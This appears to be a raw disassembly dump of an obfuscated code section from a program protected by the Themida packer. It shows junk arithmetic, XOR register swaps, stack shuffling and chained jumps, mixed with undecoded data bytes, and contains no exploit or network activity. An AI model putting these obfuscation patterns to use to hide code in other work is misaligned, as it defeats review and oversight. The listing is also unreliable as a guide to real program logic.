; ---------------------------------------------------------------------------

loc_55A11C:				; CODE XREF: Themida_:0056437Fj
		push	ebx
		mov	bl, 34h
		jmp	loc_566368
; ---------------------------------------------------------------------------

loc_55A124:				; CODE XREF: Themida_:0055E028j
		and	dl, 3
		jmp	loc_563A2E
; ---------------------------------------------------------------------------

loc_55A12C:				; CODE XREF: Themida_:00553E84j
		add	esp, 4
		add	esp, 4
		jmp	loc_55CDE8
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 81000000h, 0AD4FCDE9h, 274BE907h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A14A:				; CODE XREF: Themida_:0055D138j
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		or	ebx, ebx
		jnz	loc_55E558
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_559347
; ---------------------------------------------------------------------------

loc_55A177:				; CODE XREF: Themida_:005576EAj
		push	eax
		jmp	loc_55B4EE
; ---------------------------------------------------------------------------

loc_55A17D:				; CODE XREF: Themida_:005685B2j
		or	edi, 762162F9h
		push	ebx
		push	ebp
		mov	ebp, 5FE83A06h
		mov	ebx, 5CEB57A2h
		xor	ebx, ebp
		jmp	loc_56336B
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 28B8C380h,	4AB450C3h, 0FFE04FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A1A9:				; CODE XREF: Themida_:0055CEFEj
		sub	esp, 4
		mov	[esp], edi
		push	2ABE575Fh
		mov	edi, [esp]
		push	esi
		push	esp
		pop	esi
		push	edi
		push	4
		pop	edi
		jmp	loc_565BC2
; ---------------------------------------------------------------------------
		dw 489h
		dd 35E95B24h, 53FFFFFBh, 0C380C4B3h, 0FFD828EFh, 0E95B2434h
		dd 0FFFFCF0Ch
; ---------------------------------------------------------------------------

loc_55A1E0:				; CODE XREF: Themida_:00561B64j
		mov	edi, 79223BCCh
		shr	edi, 4
		jmp	loc_55D476
; ---------------------------------------------------------------------------
		db 4, 19h, 66h
aYfrhc		db 'YfRhc$',0
		align 4
		dd offset dword_554B70+79h
		dd 24248900h, 4240481h,	8B000000h, 0C4812404h, 4, 14C568h
		dd 242C8900h, 45FCBF57h, 0E7C149A6h, 7F15E907h,	0BA520000h
		dd 5F3E3634h, 6EDAEB81h, 7BE93E51h, 0FFFFFFEFh,	815D2434h
		dd 4C4h, 0BBB95100h, 810E1F29h,	0D563CCC1h, 54B9E978h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A252:				; CODE XREF: Themida_:0055A27Aj
		mov	eax, esp
		jmp	loc_55F08A
; ---------------------------------------------------------------------------

loc_55A259:				; CODE XREF: Themida_:005545B1j
		pop	ecx
		add	esi, eax
		push	1980h
		mov	[esp], ebp
		mov	ebp, 5BD67F59h
		add	esi, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55A252
; ---------------------------------------------------------------------------
		db 51h
		dd 0C181E189h, 4, 0B6BF5753h, 0BB416E3Fh, 416E3FBAh, 99E1E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A299:				; CODE XREF: Themida_:00567001j
		add	eax, edx
		mov	edx, [esp]
		jmp	loc_55C096
; ---------------------------------------------------------------------------
		db 83h
		dd 0C14F04C4h, 0EF8104E7h, 0A7EE295Ch, 2EC2E9h,	14335800h
		dd 24143124h, 8B241433h, 0F1F62424h, 0FFCA50E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A2C9:				; CODE XREF: Themida_:00553EF3j
		sub	ecx, 3DE41AC2h
		pop	eax
		not	ecx
		sub	ecx, 251D0EFEh
		and	ecx, 5763A82h
		jmp	loc_55D79F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 85DFE904h, 0BD550000h, 375D78E3h, 815DEA21h
		dd 0A51BE6EAh, 28BF5724h, 47677626h, 0CE45BA52h, 0D7013773h
		dd 8BFA295Ah, 0C483243Ch, 2307E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A31A:				; CODE XREF: Themida_:005561B3j
		pop	esp
		add	ecx, 150A0AB5h
		sub	ecx, ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 150A0AB5h
		push	edx
		jmp	loc_55375B
; ---------------------------------------------------------------------------
		dd 4C581h, 0C5830000h, 242C8704h, 8947E95Ch, 0E8000000h
		dd 34FF5959h, 0C4815924h, 4, 8070B450h,	0E328E2C3h, 8BE2EB80h
		dd 0C4812404h, 4, 64B15150h, 3B7E9h, 6EBF5700h,	29330D2Bh
		dd 0C8015FF8h, 0D2B6E05h, 4335933h, 24043124h, 5C240433h
		dd 9C240401h, 0FF8D10E9h, 72D3BBFFh, 0D8E94B0Dh, 810000B6h
		dd 28573EF1h, 59CB8927h, 815FFB29h, 585292C7h, 81DF0140h
		dd 585292EFh, 0CAE95B40h, 49FFFFECh, 90BAE9h, 4B900h, 0CF290000h
		dd 243C8759h, 8588E9h, 3CE95D00h
		db 0DCh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A3DB:				; CODE XREF: Themida_:0056850Fj
		add	eax, 7AEE3B28h
		dec	eax
		push	eax
		not	dword ptr [esp]
		pop	eax
		sub	eax, 0DEE7CC65h
		sub	esi, 673367B6h
		add	esi, eax
		jmp	loc_55ED17
; ---------------------------------------------------------------------------

loc_55A3F8:				; CODE XREF: Themida_:00565800j
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_554ED4
; ---------------------------------------------------------------------------
		db 5Ch
		dd 8B24048Fh, 96E92424h, 0B0FFFF8Ch, 145268A2h,	14890000h
		dd 88C28824h, 24148BD7h, 0FFBABEE9h, 243F68FFh,	0C890000h
		dd 57E18924h, 0C781E789h, 4, 4B850h, 0C7290000h, 1030E958h
		dd 0E95F0000h, 0FFFFA19Eh, 81240C8Bh, 4C4h, 4C48100h, 56000000h
		dd 468h, 5451E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A466:				; CODE XREF: Themida_:005616A6j
		mov	ebx, 0
		sub	ebx, ebp
		xchg	ebx, ebp
		pop	ebx
		push	edi
		jmp	loc_5675E5
; ---------------------------------------------------------------------------

loc_55A476:				; CODE XREF: Themida_:00554501j
		push	4BAh
		mov	[esp], esi
		mov	esi, 2113679Ch
		xor	edi, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 0D14BDB21h
		push	edi
		push	edx
		mov	edx, 756F2549h
		add	[esp+4], edx
		pop	edx
		pop	esi
		jmp	loc_55EA77
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C6E92404h, 1FFFFC5h, 8104245Ch, 1404246Ch, 81429467h
		dd 0C504246Ch, 5B341F71h, 0FFD511E9h, 24048BFFh, 4C481h
		dd 0AF680000h, 0E9000049h, 0DF99h, 0FF8BC8E9h, 243431FFh
		dd 8B243433h, 0C83B2424h, 8BB7E99Ch, 4359FFFFh,	2848F381h
		dd 0D93187C9h, 0FFE3FBE9h, 5FFB01FFh, 0DDC2E95Dh, 0F001FFFFh
		dd 0D1D2F05h, 0DE95E53h
		db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A513:				; CODE XREF: Themida_:00566F91j
		pop	eax
		add	esp, 4
		shl	eax, 5
		jmp	loc_56219F
; ---------------------------------------------------------------------------
		db 55h
		dd 3D2127BDh, 0E9CD8157h, 817DAE19h, 0A91EB1F5h, 3EBE5642h
		dd 81775A69h, 126B51F6h, 0D6F74E55h, 6AFFC681h,	69E9207Eh
		dd 0BA00005Ah, 7F615BF5h, 0EFE9D029h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A557:				; CODE XREF: Themida_:0055746Fj
		sub	ebp, 39690099h
		sub	eax, ebp
		pop	ebp
		add	eax, 7ABD53BAh
		add	eax, 14153B39h
		add	dword ptr [eax], 1
		pop	eax

loc_55A571:				; CODE XREF: Themida_:00568A38j
		push	5F43h
		jmp	loc_560DCF
; ---------------------------------------------------------------------------
		db 58h
		dd 0A158E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A582:				; CODE XREF: Themida_:00555B2Ej
		mov	esi, esp
		add	esi, 4
		push	ebp
		jmp	loc_557692
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 4892424h,	0E0895024h, 405h, 42D00h, 4870000h
		dd 8F545C24h, 0B0E92404h, 81000081h, 4E3AD5EFh,	3FC78122h
		dd 0E964D56Eh, 0FFFFAAD8h, 1A78EE81h, 5D5F50F7h, 0FFCFB1E9h
		dd 241487FFh, 0FFDB0FE9h, 0E914B5FFh, 0FFFFF638h
; ---------------------------------------------------------------------------

loc_55A5E0:				; CODE XREF: Themida_:0055BE8Fj
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xchg	ecx, edx
		shl	edx, 7
		add	edx, 51840D8Fh
		sub	ebx, edx
		jmp	loc_566E95
; ---------------------------------------------------------------------------
		db 68h
		dd 310h, 0E9243489h, 0FFFFA37Ah
; ---------------------------------------------------------------------------

loc_55A604:				; CODE XREF: Themida_:00554DC0j
		mov	esp, [esp]
		push	14B3h
		mov	[esp], ebp
		mov	ebp, 1
		and	eax, ebp
		mov	ebp, [esp]
		push	edx
		push	esp
		mov	edx, [esp]
		push	74B6h
		mov	[esp], ebp
		jmp	loc_557D65
; ---------------------------------------------------------------------------
		db 5
		dd 4, 6CFFBF57h, 0C2E97AB0h, 81FFFFE9h,	48242FC7h, 485BE96Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A646:				; CODE XREF: Themida_:005553D0j
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_563529
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 51241C89h, 0E558B3B9h, 71D5BB63h, 0C38169DEh, 8B6784h
		dd 0FFA8B7E9h, 6970B9FFh, 80E90F72h, 0E90000DDh, 0FFFF8A21h
		dd 80DBF380h, 0E3C060E3h, 0B92CE908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A692:				; CODE XREF: Themida_:00554C22j
		jmp	loc_5530A5
; ---------------------------------------------------------------------------

loc_55A697:				; CODE XREF: Themida_:005629D6j
		push	edx
		jmp	loc_564410
; ---------------------------------------------------------------------------

loc_55A69D:				; CODE XREF: Themida_:00560021j
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 73CE7508h
		jmp	loc_56530E
; ---------------------------------------------------------------------------
		dw 0C083h
		dd 3CAAE901h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A6B6:				; CODE XREF: Themida_:00558FE0j
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_55A854
; ---------------------------------------------------------------------------
aZhsu		db 'Zh™u',0
		align 2
		dw 0C89h
aTyhr		db '$TYh|',0
		align 4
		dd 0E9240489h, 0FFFFF19Fh
; ---------------------------------------------------------------------------

loc_55A6E0:				; CODE XREF: Themida_:0055C1AEj
		add	esp, 4
		jmp	loc_55F94E
; ---------------------------------------------------------------------------
		dd 5D5059B8h, 76DB2522h, 0BE564D26h, 4CE04170h,	4E07EEC1h
		dd 924DEE81h, 0F009CB2Ch, 52C0E95Eh, 0EE810000h, 31094617h
		dd 772CEE81h, 8BE936D2h, 0B8FFFFB0h, 664863AAh,	0E958C329h
		dd 0FFFFC43Eh, 0E97FE980h, 0FFFF92E8h, 3621840Fh, 0EC810000h
		dd 4, 54243C89h, 0F1BA525Fh, 813DCE7Dh,	47678CAh, 48C2811Ah
		dd 5165CC49h, 0B9h, 0BA24E900h,	0C87FFFFh, 0E9D1F724h
		dd 2C62h, 0F7240C89h, 0C8B2414h, 4C48124h, 87000000h, 1479E9F1h
		dd 814B0000h, 2E7034E3h, 84C38104h, 15575ECh, 0F1815BD9h
		dd 0AE424587h, 5259CA29h, 0A1243481h, 5B2CB329h, 29A1F381h
		dd 148B2CB3h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5616FC
; ---------------------------------------------------------------------------
		db 0B9h, 38h, 0
		dd 0C1810000h, 949377Eh, 2BAFE981h, 0BB535C9Ah,	67B15C6Bh
		dd 27A8E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A7CD:				; CODE XREF: Themida_:00556139j
		mov	ebp, 76D22B3Eh
		shr	ebp, 4
		jmp	loc_5674BF
; ---------------------------------------------------------------------------
		dw 0FF05h
		dd 0E9FFFFFFh, 0FFFFA31Fh
; ---------------------------------------------------------------------------

loc_55A7E4:				; CODE XREF: Themida_:0055C44Ej
		add	eax, 0CDD4EADh
		xor	eax, 4A9D5E5Dh
		jmp	loc_565ADB
; ---------------------------------------------------------------------------

loc_55A7F3:				; CODE XREF: Themida_:00561AAFj
		pop	esp
		add	esi, ebx
		push	6E5Dh
		jmp	loc_561ED5
; ---------------------------------------------------------------------------
		dd 0EC815E54h, 4, 4999E9h, 0FA2D5A00h, 8B26C060h, 0C4832434h
		dd 5655E904h, 53680000h, 8900002Ch, 0ECE9241Ch
		db 0A5h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A82B:				; CODE XREF: Themida_:00555E40j
		mov	al, 0EAh
		sub	al, 34h
		neg	al
		xor	al, 62h
		mov	bh, al
		pop	eax
		add	bh, 7Fh
		add	al, bh
		mov	ebx, [esp]
		add	esp, 4
		push	6E41h
		mov	[esp], edx
		mov	dh, 9Dh
		push	ecx
		jmp	loc_56446B
; ---------------------------------------------------------------------------

loc_55A854:				; CODE XREF: Themida_:0055A6C3j
		add	edi, 4
		jmp	loc_561B0F
; ---------------------------------------------------------------------------

loc_55A85C:				; CODE XREF: Themida_:0056632Cj
		push	esi
		mov	esi, 46A31934h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 6ABB1DABh
		add	esi, 2C1508A4h
		add	esi, edx
		sub	esi, 2C1508A4h
		pop	edx
		add	esi, 7961223Dh
		jmp	loc_5604F7
; ---------------------------------------------------------------------------
		db 5Ch
		dd 840FC909h, 15DBh, 5B8A68h, 4EC8100h,	89000000h, 4812424h
		dd 424h, 24048F00h, 8019E957h, 0CF010000h, 81240C8Bh, 4C4h
		dd 0E9F82100h, 4C28h
; ---------------------------------------------------------------------------

loc_55A8C0:				; CODE XREF: Themida_:0056446Ej
		mov	ch, 37h
		add	ch, bl
		pop	ebx
		inc	ch
		add	ch, 3
		or	ch, 0CEh
		xor	ch, 0E8h
		or	ch, 8Ch
		sub	esp, 2
		jmp	loc_558EC5
; ---------------------------------------------------------------------------

loc_55A8DE:				; CODE XREF: Themida_:0055BC17j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5608ED
; ---------------------------------------------------------------------------

loc_55A8E9:				; CODE XREF: Themida_:0055423Cj
		xchg	ecx, esi
		push	edx
		mov	edx, 3D2C0515h
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, esi
		pop	esi
		push	0DFAh
		mov	[esp], eax
		push	ecx
		mov	ecx, 2
		mov	eax, ecx
		pop	ecx
		add	ebx, 20DA0F2Eh
		add	ebx, eax
		sub	ebx, 20DA0F2Eh
		mov	eax, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_559F7E
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8904ECh, 68E78924h, 2FC9h,	0BB241C89h, 3D381250h
		dd 6EC2E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A949:				; CODE XREF: Themida_:00553471j
		xchg	esi, [esp]
		pop	esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_566ED5
; ---------------------------------------------------------------------------

loc_55A961:				; CODE XREF: Themida_:0055E7ACj
		push	387h
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp

loc_55A972:				; CODE XREF: Themida_:0055B290j
					; Themida_:0055C17Dj
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_566961
; ---------------------------------------------------------------------------

loc_55A989:				; CODE XREF: Themida_:00558CA3j
		push	ecx
		jmp	loc_555BD2
; ---------------------------------------------------------------------------

loc_55A98F:				; CODE XREF: Themida_:00553CE7j
		sub	ebx, 3526555Eh
		sub	esp, 4
		mov	[esp], ebp
		push	87976AEh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5679F8
; ---------------------------------------------------------------------------

loc_55A9AB:				; CODE XREF: Themida_:00562856j
		sub	edi, 8DC38C2h
		pop	eax
		mov	eax, 0B0B5A2FCh
		push	esi
		mov	esi, 1646797Eh
		jmp	loc_55513B
; ---------------------------------------------------------------------------
		dw 30ACh
		dd 4EC81D8h, 89000000h,	0E189240Ch, 226968h, 24348900h
		dd 0FFD160E9h, 0BA525DFFh, 64857E64h, 5073F281h, 0C2816F05h
		dd 19DDDBC7h, 895AD501h, 0EA815DEBh, 65817E5Dh,	0CEE9DA01h
		dd 80000061h, 0E8306DEDh, 0FE740459h, 80352CC8h, 0C380AFC3h
		dd 8E22E9EBh, 0DE01FFFFh, 0FFCFEFE9h, 48F59FFh,	0EA4DE924h
		dd 0E681FFFFh, 27C85018h, 26BDE9h, 43BE5600h, 0E9154117h
		dd 9EC2h, 0E6BA52h, 62BB72A7h, 1F27173h, 0C3815AD3h, 6A84F0Ch
		dd 253AC381h, 53E92E54h, 890000B1h, 0E7E959CFh,	29FFFFE1h
		dd 33AA05D8h, 34FF4968h, 161AE924h, 58BA0000h, 179D908h
		dd 0EE815AD6h, 7160309Ah, 81240C8Bh, 4C4h, 0E9F00100h
		dd 0FFFF9C8Dh, 8B1C77FFh, 54522404h, 5A2434FFh,	4C481h
		dd 8E680000h, 0E900006Ch, 5135h, 32F068h, 242C8900h, 6852E589h
		dd 5BD3CA9h, 0E924148Bh, 0FFFFF7B7h, 815AD701h,	0BD73BECFh
		dd 0B5BB531Ah, 4373453Ah, 0D3F7D3F7h, 738AE381h, 0EB815D19h
		dd 0F643BA88h, 1C8BDF29h, 4C48324h, 2BBCBE56h, 0EEC128B6h
		dd 9989E902h, 0C89FFFFh, 4DC36824h, 4890000h, 72B6E924h
		dd 4BB0000h, 81000000h,	5A0252EAh, 0B6E95174h, 590000C0h
		dd 915CE9h
		db 0
; ---------------------------------------------------------------------------

loc_55AB25:				; CODE XREF: Themida_:0055D017j
		add	esp, 4
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		xchg	ebp, [esp]
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		xchg	ebp, [esp]
		mov	ebx, [esp]
		add	esp, 4
		xor	ebp, ebx
		xor	ebx, ebp
		jmp	loc_5647A3
; ---------------------------------------------------------------------------
		dd 0BA241489h, 7C93428Fh, 46C1F281h, 0D0291846h, 8324148Bh
		dd 0BA5204C4h, 1EBE614Eh, 35BB68h, 241C8900h, 67C6E952h
		dd 3C890000h, 502FE924h, 14300000h, 24143224h, 68241430h
		dd 2FECh, 0FFD1A0E9h, 4C481FFh,	8F000000h, 0F7552404h
		dd 875D2414h, 505A242Ch, 2F138AB8h, 0F7E0D112h,	3A9C25D8h
		dd 0D0F755EBh, 0B0FAE9h
		db 0
; ---------------------------------------------------------------------------

loc_55ABC5:				; CODE XREF: Themida_:00560C31j
		push	edx
		mov	edx, 3BC9663Ah
		or	edx, 377C217Eh
		xor	edx, 42C001B4h
		inc	edx
		neg	edx
		sub	edx, 69573D93h
		mov	ebp, edx
		pop	edx
		jmp	loc_567A03
; ---------------------------------------------------------------------------

loc_55ABE8:				; CODE XREF: Themida_:0055B303j
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_55ED28
; ---------------------------------------------------------------------------

loc_55ABF3:				; CODE XREF: Themida_:00553B7Bj
		mov	[esp], ecx
		push	esp
		jmp	loc_56152F
; ---------------------------------------------------------------------------
		dd 0E904C483h, 52A8h, 0F6C8B450h, 1FEC80DCh, 0E903E4C0h
		dd 4009h, 8102EEC1h, 0FF33F4EEh, 5EF529DDh, 0C581FD01h
		dd 22152721h, 0FF96C8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55AC2D:				; CODE XREF: Themida_:00557F0Aj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_555D0C
; ---------------------------------------------------------------------------
aBJd		db 'ÆJd',0
		dd 5E6C106h, 4EC81h, 4890000h, 4770B824h, 0BD553F18h, 0C0B6A108h
		dd 315DE801h, 2434FFC6h, 0A66FE958h, 0C89FFFFh,	63336824h
		dd 9CE978DCh, 83FFFFFEh, 97E904C4h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AC8B:				; CODE XREF: Themida_:0056693Fj
		add	bl, 6Ch
		and	ch, bl
		jmp	loc_55BE3D
; ---------------------------------------------------------------------------
		db 68h,	0FFh, 0FBh
		dd 2C8BFFFFh, 65DF6824h, 4890000h, 0E2895224h, 4C281h
		dd 0EA810000h, 4, 0E9241487h, 0FFFFA719h
; ---------------------------------------------------------------------------

loc_55ACBC:				; CODE XREF: Themida_:00561EFDj
		add	ecx, esi
		pop	esi
		push	796h
		jmp	loc_553DCF
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 51h
		dd 0FF9A8CE9h, 3877FFFFh, 0E9240C8Bh, 0DFB7h, 5B15166h
		dd 5966C828h, 0F616B151h, 80B0E9D1h, 248B0000h,	240C3324h
		dd 33240C31h, 4EE9240Ch, 83FFFFC9h, 2C8904ECh, 0B1E1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55AD0A:				; CODE XREF: Themida_:00559084j
		sub	ebx, edi
		pop	edi
		sub	esp, 4
		jmp	loc_55B0C2
; ---------------------------------------------------------------------------
		dd 0EB80E300h, 0BA23E905h, 0E089FFFFh, 0DB968h,	243C8900h
		dd 4BFh, 8BF80100h, 0C483243Ch,	4EC8304h, 0BD242C89h, 1DA961C7h
		dd 87954095h, 9FC0E9FDh, 0E94AFFFFh, 588Bh
; ---------------------------------------------------------------------------

loc_55AD54:				; CODE XREF: Themida_:00558281j
		add	ecx, 4
		jmp	loc_563594
; ---------------------------------------------------------------------------
		db 66h
		dd 5BD9285Ah, 1192E9h
		db 0
; ---------------------------------------------------------------------------

loc_55AD69:				; CODE XREF: Themida_:0055E61Bj
		push	edx
		jmp	loc_55402E
; ---------------------------------------------------------------------------

loc_55AD6F:				; CODE XREF: Themida_:00558952j
		pop	eax
		xor	eax, 2E2A439Ch
		push	eax
		sub	dword ptr [esp], 2C6A5AB8h
		pop	ebx
		add	ebx, 2C6A5AB8h
		pop	eax
		jmp	loc_556795
; ---------------------------------------------------------------------------
		dw 57ADh
		dd 860C0668h, 4DEFE919h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55AD96:				; CODE XREF: Themida_:00566DADj
		xor	edi, [esp]
		pop	esp
		jmp	loc_5582F1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 243C8700h, 6624248Bh, 9C240401h, 0FF82F0E9h, 9BC781FFh
		dd 2944F50Fh, 9BEF81F7h, 5E44F50Fh, 10E9D7F7h, 0D000046h
		dd 39CB028Eh, 82C10505h, 0E9C22979h, 0B6D1h, 3506BD55h
		dd 0EB31DB9Ch, 5BDE095Dh, 5106EEC1h, 0D05E84B9h, 61DDE979h
		dd 74FF0000h, 348B0424h, 0E1895124h, 4C181h, 0C1830000h
		dd 30B0E904h, 0E9810000h, 61862A2Ch, 0C335E5Ah,	240C3124h
		dd 0FFD005E9h, 242C31FFh, 8B242C33h, 8B662424h,	96E92404h
		dd 0F7FFFFAEh, 0D2E951DAh, 5000000Bh, 0BD02E9h,	0BA2D6600h
		dd 0BD665524h, 0F7665AEDh, 664566DDh, 6605EDC1h, 0C166DDF7h
		dd 816607E5h, 66ECE9EDh, 667A4B05h, 0BE9E829h, 1FFFFDDh
		dd 0E9565FFBh, 5765h, 5FFB015Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55363D
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 9Dh
		dd 8B0F2763h, 0EC81240Ch, 4, 0E9240489h, 72D6h,	4E98F581h
		dd 0C58167BEh, 5FEC1ADDh, 38CE9h, 89EB8900h, 2C8B5BDAh
		dd 4C48124h, 57000000h,	6EB95155h, 0E94C3C6Ch, 0FFFF8BE2h
; ---------------------------------------------------------------------------

loc_55AECC:				; CODE XREF: Themida_:0055C16Cj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 860118Dh
		mov	edx, eax
		pop	eax
		jmp	loc_566EA1
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 275168CEh, 815BD909h, 0D134DEF1h, 7A5CE993h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55AEF6:				; CODE XREF: Themida_:0055BF8Cj
		sub	esp, 4
		jmp	loc_565913
; ---------------------------------------------------------------------------
aRs_0		db 'RéÉ,',0
		align 4
		dd 0F04F74BBh, 56C38135h, 0E95C631Ch, 8A89h
; ---------------------------------------------------------------------------

loc_55AF14:				; CODE XREF: Themida_:00554C92j
		mov	[esp], ebp
		mov	ebp, 0A0E69F9h
		not	ebp
		shl	ebp, 3
		jmp	loc_5534E9
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 0C1815C24h, 4, 5C240C87h, 0FCE9F9F7h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AF3B:				; CODE XREF: Themida_:005623C4j
		jz	loc_555478
		push	9F5h
		mov	[esp], edx
		mov	edx, 1Ch
		add	edx, 17993543h
		jmp	loc_553FDE
; ---------------------------------------------------------------------------
aIxsmj		db '‰åé¬j',0
		align 10h
		dd 75ABEF81h, 504F2F4Dh, 1B8h, 58C72900h, 5880F781h, 0E94761E2h
		dd 0FFFF84FAh, 8260AEBDh, 7E5C14Fh, 0FFE9D5F7h,	8300003Ah
		dd 48904ECh, 6A336824h,	3C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55D673
; ---------------------------------------------------------------------------
		db 5Dh
		dd 2018CE81h, 0BD551B65h, 15B2620h, 1C20C581h, 0DDF762A5h
		dd 2799ED81h, 0C5810E35h, 82FD9Eh, 295DEE01h, 0B8505EF1h
		dd 0AC460EC5h, 2158C129h, 814259CAh, 0DFDDDFC2h, 0DD17E9FFh
		dd 0EF810000h, 738891B2h, 0FFE831E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55AFF1:				; CODE XREF: Themida_:00562DF4j
		and	edi, 677D399Ah
		add	edi, 2653A20Dh
		xor	ecx, edi
		pop	edi
		jmp	loc_558F09
; ---------------------------------------------------------------------------

loc_55B005:				; CODE XREF: Themida_:005616B0j
		mov	[esp], eax
		mov	eax, 4
		add	edi, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 0B5F064Fh
		push	esi
		mov	esi, 4E020D20h
		jmp	loc_55BDA7
; ---------------------------------------------------------------------------
		db 1, 0CBh, 0E9h
		dd 3426h
; ---------------------------------------------------------------------------

loc_55B03C:				; CODE XREF: Themida_:00561D41j
		mov	ebx, esp
		push	edi
		mov	edi, 268F41CDh
		shl	edi, 4
		add	edi, 1FB07D0h
		jmp	loc_55E334
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4C4h, 2A8A6800h, 1C890000h, 4BB24h, 0CBE90000h, 59000088h
		dd 4C181h, 0C1810000h, 4, 0FFB313E9h, 0B0AB9FFh, 27E9EDFCh
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B087:				; CODE XREF: Themida_:005579D1j
		or	ebp, 58DE15C4h
		not	ebp
		shr	ebp, 8
		push	eax
		jmp	loc_560C9D
; ---------------------------------------------------------------------------
		dd 405E089h, 0E9000000h, 0FFFFC43Dh, 54BE565Dh,	0E9327037h
		dd 0FFFFAF80h, 0DAF7DAF7h, 9FC28142h, 1DA8FFDh,	0B75EE9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B0C2:				; CODE XREF: Themida_:0055AD13j
		mov	[esp], edx
		jmp	loc_564DF0
; ---------------------------------------------------------------------------

loc_55B0CA:				; CODE XREF: Themida_:00562E4Dj
		add	bl, 0F5h
		sub	bl, ah
		sub	bl, 0F5h
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	al, bl
		mov	dl, al
		pop	eax
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		sub	ebp, 39721A8Bh
		add	ebp, esi
		add	ebp, 39721A8Bh
		pop	esi
		jmp	loc_559C31
; ---------------------------------------------------------------------------
		db 8Fh,	42h, 30h
		dd 0FF2434FFh, 505F2434h, 405E089h, 5000000h, 4, 5C240487h
		dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 61D1E9h, 241C8900h
		dd 0D0A9E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B141:				; CODE XREF: Themida_:00559C99j
		push	eax
		mov	eax, 4737298Ah
		jmp	loc_554EB3
; ---------------------------------------------------------------------------
		dd 0D39BA52h, 0EA811310h, 31751CDEh, 560AE9h
		db 0
; ---------------------------------------------------------------------------

loc_55B15D:				; CODE XREF: Themida_:00561B23j
